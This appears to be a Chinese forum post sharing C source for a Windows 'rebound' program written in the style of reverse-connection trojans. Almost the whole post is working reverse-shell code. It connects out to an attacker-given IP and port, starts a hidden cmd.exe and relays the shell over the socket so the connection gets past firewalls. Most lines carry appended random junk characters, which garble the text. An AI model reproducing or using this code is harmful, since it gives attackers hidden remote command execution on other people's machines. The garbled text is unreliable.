这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 asYk#;z\"
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/* ============================== Lq>lj`>
Rebound port in Windows NT *tj(,:!
By wind,2006/7 >R]M:Wx
===============================*/ V4jMx[
#include cX
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#include .%n_{ab1
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#pragma comment(lib,"wsock32.lib") #<[&Lw
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void OutputShell(); ^7+;XUyg
SOCKET sClient; fdKE1,;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +_fFRyu>
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void main(int argc,char **argv) ![K\)7 iKo
{ JS ^Cc
WSADATA stWsaData; QG?!XWz
int nRet; _[&V9Jt
SOCKADDR_IN stSaiClient,stSaiServer; N,qo/At}R[
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if(argc != 3)
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{ o%~fJx:]y
printf("Useage:\n\rRebound DestIP DestPort\n"); `.pEI q^
return; a~jb%i_
} )M0(vog
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WSAStartup(MAKEWORD(2,2),&stWsaData); &v .S_Ym
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w;ZT-Fti
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stSaiClient.sin_family = AF_INET; BH {z]a
stSaiClient.sin_port = htons(0); I ==)a6^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'qT;Eht5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zs]ubJC@
{ sc+%v1Y#}
printf("Bind Socket Failed!\n"); J@/4CSCR]
return; k@lJ8(i^qU
} \0 h>!u
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stSaiServer.sin_family = AF_INET; ;6PU
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u]NsCHKlT
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c>D~MCNxg
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Jkj7ty.J
{ Cydo~/
printf("Connect Error!"); DDR4h"Y
return; GYQ:G=
} |MGT8C&^!
OutputShell(); #1$4<o#M
} 7I w^
#sCR}
void OutputShell() c\o_U9=n
{ w~Q\:<x&~Z
char szBuff[1024]; Sc{&h8KMTb
SECURITY_ATTRIBUTES stSecurityAttributes; 1W>/4l
OSVERSIONINFO stOsversionInfo; h?dSn:Y\?
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j}.gK6Yq*
STARTUPINFO stStartupInfo; Uzvd*>mv
char *szShell; el5Pe{j'
PROCESS_INFORMATION stProcessInformation; ^V; r
unsigned long lBytesRead; cwvJH&%0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3HtM<su*h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gD)M7`4
stSecurityAttributes.lpSecurityDescriptor = 0; s3A(`heoq
stSecurityAttributes.bInheritHandle = TRUE; E8kD#tL
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yWRIh*>nE
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); iSf%N>y'K
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %52e^,//
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pq+|*Y<|&
stStartupInfo.wShowWindow = SW_HIDE; X~VI} dJ
stStartupInfo.hStdInput = hReadPipe; HqV55o5f'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; PH%t#a!j3/
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GetVersionEx(&stOsversionInfo); QmSj6pB>
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switch(stOsversionInfo.dwPlatformId) 6
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{ [7.Num_L
case 1: 4qDO(YWf
szShell = "command.com"; 4`l$0m@>
break; A7YCSjB
default: {91Y;p
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szShell = "cmd.exe"; <#BK(W~$
break; [p'2#Et
} 51eZf JB
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k8ILo)
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send(sClient,szMsg,77,0); 3"Oipt+
while(1) STu(I\9
{ Y{j~;G@Wl
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `/m]K~~
if(lBytesRead) g5 *E\T%8
{ dY$nw
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); HkRvcX
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send(sClient,szBuff,lBytesRead,0); >yn?@ve@
} )2" g)9!
else *.w6 =}
{ 1 M!4hM
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lBytesRead=recv(sClient,szBuff,1024,0); f1SKOq
if(lBytesRead<=0) break; 2|ee` "`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^~l@ _r
} xp:I(
} z<t2yh(DF
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return; Oq<3&*
}